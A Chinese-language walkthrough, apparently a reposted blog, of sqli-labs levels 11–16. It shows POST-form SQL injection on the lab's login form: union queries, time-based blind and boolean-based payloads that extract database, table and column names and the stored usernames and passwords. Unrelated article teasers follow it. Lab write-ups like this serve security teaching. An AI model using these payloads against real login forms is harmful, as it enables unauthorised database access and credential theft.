sqli-labs靶场详解(less11-less16)

news2024/11/14 23:51:56

目录

less-11

less-12

less-13

less-14

less-15

less-16


提交参数后 动态参数不存在url中 存在于post表单中 于是在表单中进行注入点测试


先看一看这种提交数据的关卡输入提交后会有什么反应

uname=admin&passwd=admin&submit=Submit

输出 username=admin password=admin

uname=123&passwd=123&submit=Submit

无输出

uname=1234&passwd=123456&submit=Submit

无输出

可以判定 这种关卡的原理就是 输出账号密码 服务器使用sql语言根据提交的账号以及密码作为条件去数据库中查找相关数据 如果查询出来了返回数据表中存放的账号密码 也就是我们输入的账号密码 并且显示成功登录

题型类似

这种题就是给你一个登录的条件 (因为你登录的账号密码参数会被服务器使用sql语言到数据库中进行操作 无论什么操作 他都需要获取你的参数到数据库中进行执行,只要是执行了 并且没有对参数进行过滤 那就很容易造成 sql注入)

自己账号密码是已知的  假设这是一个网站 你通过自己的账号密码登录上去了 你发现你的账号密码参数的位置存在注入点  

每关的注入方式采用最经典的方式 

只要有报错输出到页面的都可以使用报错注入 特别简单不给演示 

请看 >> SQL-报错注入


less-11

判断注入点

uname=admin' 成功登录

uname=admin'  报错  to use near 'admin'

uname=admin' and '1'='1'# 成功

这一点也就是简单的密码绕过 

后端是根据用户名和密码同时作为条件去查询并输出的

但是使用了#直接把密码的值给注释了 也就是相当于 只输入一个账号就能查询到 该账号的账号和密码

uname=admin'# 成功登录

uname=admin' and '1'='2'# 无输出

从而判断出该注入点为 POST字符型注入点

注意

在post表单注入的时 构造sql语句的注释符最好使用# 否则容易出错 -- --+

注入操作

# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin' and 1=1 order by 1 # 成功
uname=admin' and 1=1 order by 2 # 成功
uname=admin' and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了 
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from 
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admin' and 1=2 union select 1,2# 
#查看当前数据库
uname=admisn' and 1=2 union select database(),2#  在1号位的位置输出了当前数据库名
uname=admi11n' and 1=2 union select database(),2# 这个也能看出来根本不需要正确的账号也能进行sql注入
#查看当前数据库所有表 
uname=adsssmin' and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=admssin' and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admsadin' and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#

less-12

判断注入点

uname=admin 成功

uname=admin' 无输出并显示登录失败

uname=admin'asdasdzxc# 无输出 并显示登录失败

uname=admin and 1=1# 无输出 并显示登录失败

通过以上 大概就能判断出这个一个字符型注入点  但是对参数的处理并不是使用单引号 

uname=admin\ 报错:to use near 'admin")

通过这一点 确定这是一个字符注入点 对参数的处理方式为双引号 外加一个括号

服务器参数的形式为 ("$id")

注入操作

# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin") and 1=1 order by 1 # 成功
uname=admin") and 1=1 order by 2 # 成功
uname=admin") and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了 
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from 
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admssin") and 1=2 union select 1,2#
#查看当前数据库
uname=admdasdain") and 1=2 union select database(),2#  在1号位的位置输出了当前数据库名
#查看当前数据库所有表 
uname=adzcxzsmin") and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=adasdamin") and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admin") and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#

less-13

判断注入点

uname=admin 无输出 但显示登录成功

uname=123213123 无输出 登录失败

通过以上可以推测出 不显示任何信息值 只告诉你是否登录成功 只能采用布尔注入的方式

登陆成功:服务器SQL语句查询到结果 判定查询为TRUE状态

登录失败:服务器SQL语句没有查询到结果 判定查询为FALSE状态

uname=admin' 报错:to use near 'admin')

通过报错推测出 该注入点为POST字符型服务器对参数的处理形式为使用单引号加上括号

服务器参数的形式为 ('$id')

以上推断出该关卡是用布尔盲注的方法进行注入

我一开始采用的是盲注的方式 最后发现这题是布尔注入的方式 两种方式都可以

注入操作

盲注

#推断数据库长度
uname=admin') and if(length(database())>0,sleep(2),1)# 有延时
为什么会显示登录失败 因为sleep的返回值是0
#推断当前数据库
uname=admin') and if (ascii(substr(database(),1,1))>0,sleep(2),1)# 有延时
#推断当前数据库所有表 
uname=admin') and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看某表的字段名
uname=admin') and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看字段值
uname=admin') and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67,sleep(2),1)#

布尔注入

#推断数据库长度
uname=admin') and length(database())>0#  显示成功
uname=admin') and length(database())>10# 显示失败
#推断当前数据库 
uname=admin') and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin') and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-14

判断注入点(这是最详细的判断过程)

uname=admin 无返回结果 登录成功

uname=admin' 无返回结果 登录失败

第二个语句无报错 可能有两种情况

①服务器不让错误信息输出出来  参数可能是整型也有可能是字符型(形式为单引号)

②参数是字符型的 服务器对参数的处理方式没有使用单引号

uname=admin' # 无返回结果 登录失败

推断(这个推断没什么用)只是排除了 服务器不让错误信息输出出来 参数是单引号字符型

参数如果是字符 没有使用单引号

参数如果是整型 服务器不让错误信息显示出来

继续尝试

假定参数为整型

uname=admin and 1=1 无任何显示 登录失败

确定参数不为整型

只有一种结果了

参数是字符 没有使用单引号

于是

uname=admin\ 报错:'admin"

确定 服务区对参数的处理是双引号

uname=admin" and 1=1 # 成功

uname=admin" and 1=2 # 失败

使用布尔注入的方式

注入操作

#推断数据库长度
uname=admin" and length(database())>0#  显示成功
uname=admin" and length(database())>10# 显示失败
#推断当前数据库 
uname=admin" and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin" and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-15

判断注入点

uname=admin 无返回结果 登录成功

uname=qwe123    无返回结果 登录失败

uname=admin' 无返回结果 登录失败

uname=admin and 1=1 无返回结果 登录失败

uname=admin' and '1'='1 无返回结果 登录成功、

通过以上推理可以判定

①单引号字符型注入

②对错误不输出

③使用布尔型注入

注入操作

#推断数据库长度
uname=admin' and length(database())>0#  显示成功
uname=admin' and length(database())>10# 显示失败
#推断当前数据库 
uname=admin' and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin' and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功


less-16

判断注入点

uname=admin 无返回结果 登录成功

uname=12313123 无返回结果 登录失败

uname=admin' 无返回结果 登录失败

uname=admin\ 无返回结果 登录失败

uname=admin and 1=1 无返回结果 登录失败

uname=admin' and '1'='1 无返回结果 登录失败

通过以上判断出 

①对错误不输出

②不是整型也不是单引号形式的字符型注入点

③只能是以其他形式的字符注入点

uname=admin") # 登录成功

以上推断出这是一个布尔型注入点

注入操作

#推断数据库长度
uname=admin") and length(database())>0#  显示成功
uname=admin") and length(database())>10# 显示失败
#推断当前数据库 
uname=admin") and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin") and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

前十六关不需要分析代码 就是最基础的

less1-less10 为GET基础型注入 

less11-less16 为POST基础性注入 

前十六关代码每关的区别

①服务器对参数的处理方式

②对语句查询出的结果进行处理  可能是输出到页面 可能会给你提示 可能不输出 都是最基础的if else语句 不需要分析

注意点

如果采用联合查询的方式 username的值瞎写都行

如果使用盲注的方式 username必须是准确值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1261442.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于mpvue实现的cnode社区demo(附精选源码32套,涵盖商城团购等)

社区类目没有开放给个人开发者,所以没能上线。 预览 项目配置文件,更改appid {"description": "项目配置文件","setting": {"urlCheck": true,"es6": false,"postcss": false,"minif…

万字+28张图带你探秘小而美的规则引擎框架LiteFlow

大家好,今天给大家介绍一款轻量、快速、稳定可编排的组件式规则引擎框架LiteFlow。 一、LiteFlow的介绍 前言 在每个公司的系统中,总有一些拥有复杂业务逻辑的系统,这些系统承载着核心业务逻辑,几乎每个需求都和这些核心业务有关&…

触控板窗口管理软件Swish mac中文版

Swish mac是一款触控板窗口管理工具,它允许用户通过简单的手势来控制窗口。Swish利用MacBook的触控板,使得用户可以更加便捷地管理窗口。它支持多种手势,例如捏合、拖动、放大和缩小等,使得用户可以轻松地实现窗口的切换、最小化、…

代码随想录-刷题第十天

459. 重复的子字符串 题目链接:459. 重复的子字符串 提示:Java中转为字符数组,不使用charAt(),效率会更高。 思路1:暴力解法。起始下标从0开始,第一个for循环寻找子串的结束位置。只需要遍历到中间位置&…

代码随想录训练营第30天 | 332.重新安排行程、51. N皇后、37. 解数独

332.重新安排行程 题目链接:重新安排行程 解法: 这个题,卡哥的思路会超时。辛辛苦苦看懂了卡哥的思路,结果超时了,直接崩溃。 看了leetcode官方的思路,非常简洁,但是里面的深意还是不太懂。 由…

Python实现WOA智能鲸鱼优化算法优化LightGBM分类模型(LGBMClassifier算法)项目实战

说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 鲸鱼优化算法 (whale optimization algorithm,WOA)是 2016 年由澳大利亚格里菲斯大学的Mirjalili 等提…

Linux常用命令——batch命令

在线Linux命令查询工具 batch 在系统不繁忙的时候执行定时任务 补充说明 batch命令用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 语法 batch(选项)(参数)选项 -f:指定包含具体指令的任务文件; -q:指定…

【论文阅读笔记】InstructDiffusion: A Generalist Modeling Interface for Vision Tasks

【论文阅读笔记】StyleAvatar3D: Leveraging Image-Text Diffusion Models for High-Fidelity 3D Avatar Generation 论文阅读笔记论文信息引言动机挑战 方法结果 关键发现相关工作1. 视觉语言基础模型2. 视觉通用模型 方法/模型视觉任务的统一说明训练数据构建网络结构 实验设…

扫地机器人市场持续火爆,景联文科技数据采集标注方案助力扫地机器人智能化升级

随着消费者对智能家居和清洁卫生的需求增加,扫地机器人市场规模不断扩大。市场竞争也日益激烈,各品牌都在努力提升产品性能和服务质量,以获取更大的市场份额。 IDC的统计数据显示,今年双十一前两周(2023年10月23日至20…

u盘打不开,提示需要格式化怎么办

U盘作为一种常见的便携式存储设备,被广泛应用于生活和工作中。然而,有时当我们尝试打开U盘时,会出现提示需要格式化的错误信息,这是一种常见的故障。造成这种故障的原因可能包括U盘文件系统错误、病毒感染、物理损坏等。为了解决这…

Python网络爬虫练习

爬取历年中国大学排名(前20名),并随机选取一所高校画图展示其历年总分变化,并计算平均分,在图上展示该平均分直线: 代码如下: import matplotlib.pyplot as plt import pandas as pd import requests import randomdef main(yea…

如何在C/C++中测量一个函数或者功能的运行时间(串行和并行,以及三种方法的实际情况对比)

本文算是一个比较完整的关于在 C/C 中测量一个函数或者功能的总结,最后会演示三种方法的对比。 最常用的clock() 最常用的测量方法是使用clock()来记录两个 CPU 时间点clock_t,然后做差。这个方法的好处在于非常简单易写,如下(第…

语音机器人的两种常见业务场景

第一个业务场景 之前写过一篇语音机器人是真人录音好,还是TTS转语音更好的文章。今天再来说一说TTS一个很细微的场景。 假设一句话 这里是*****银行委托机构,您在*****银行的信用卡长期逾期至今仍未依照约定履行还款义务,为避免逃废债给您…

vue3父子组件通过$parent与ref通信

父组件 <template><div><h1>ref与$parents父子组件通信 {{ parentMoney }}</h1><button click"handler">点击我子组件的值会减20</button><hr><child ref"children"></child></div> </te…

vue3+ts 指令简写

<template><div class"btns"><button v-has-show"shop:create">创建</button><button v-has-show"shop:edit">编辑</button><button v-has-show"shop:delete">删除</button></div…

如何在Linux中安装和使用dig工具

Dig 命令&#xff08;Domain Information Groper&#xff09;是最流行的 DNS 测试工具之一。您可以用它来在Linux上排查DNS问题。 文章目录 dig如何工作如何在Ubuntu上安装dig常用dig命令使用方法推荐阅读 dig如何工作 "dig"命令是一个用于查询DNS&#xff08;Doma…

IDEA 2022.1 同一个 spring boot main类运行多个实例

普通的 Java 项目 运行多个实例是非常简单的&#xff0c;直接点击 run 多次即可&#xff0c;但在 spring boot 中默认情况下&#xff0c;是不允许把同一个 web 项目改完端口后多次运行的&#xff0c;如下会显示让你先停止当前实例后再启动&#xff1a; 开启运行多个实例的的方法…

Node.js入门指南(五)

目录 MongoDB 介绍 下载与启动 命令行交互 Mongoose 代码模块化 图形化管理工具 hello&#xff0c;大家好&#xff01;上一篇文章我们介绍了express框架&#xff0c;这一篇文字主要介绍MongoDB。来对数据进行存储以及操作。 MongoDB 介绍 各位小伙伴应该多多少少都有接…

15 网关实战: 微服务集成Swagger实现在线文档

上节介绍了网关层面聚合API文档,通过网关的路由信息找到了各个服务的请求地址,这节讲一下微服务如何集成Swagger。 网关的API文档默认调用的是微服务的**/v2/api-docs**这个接口获取API详细信息,比如文章服务的URL:http://localhost:9000/blog-article/v2/api-docs,返回信…

机器视觉:塑造未来的智能视界

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; IT杂谈 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f4d1; 前言&#x1f324;️ 机器视觉技术的实现☁️ 图像采集☁️ 图像处理☁️ 数据建模☁️应用展示…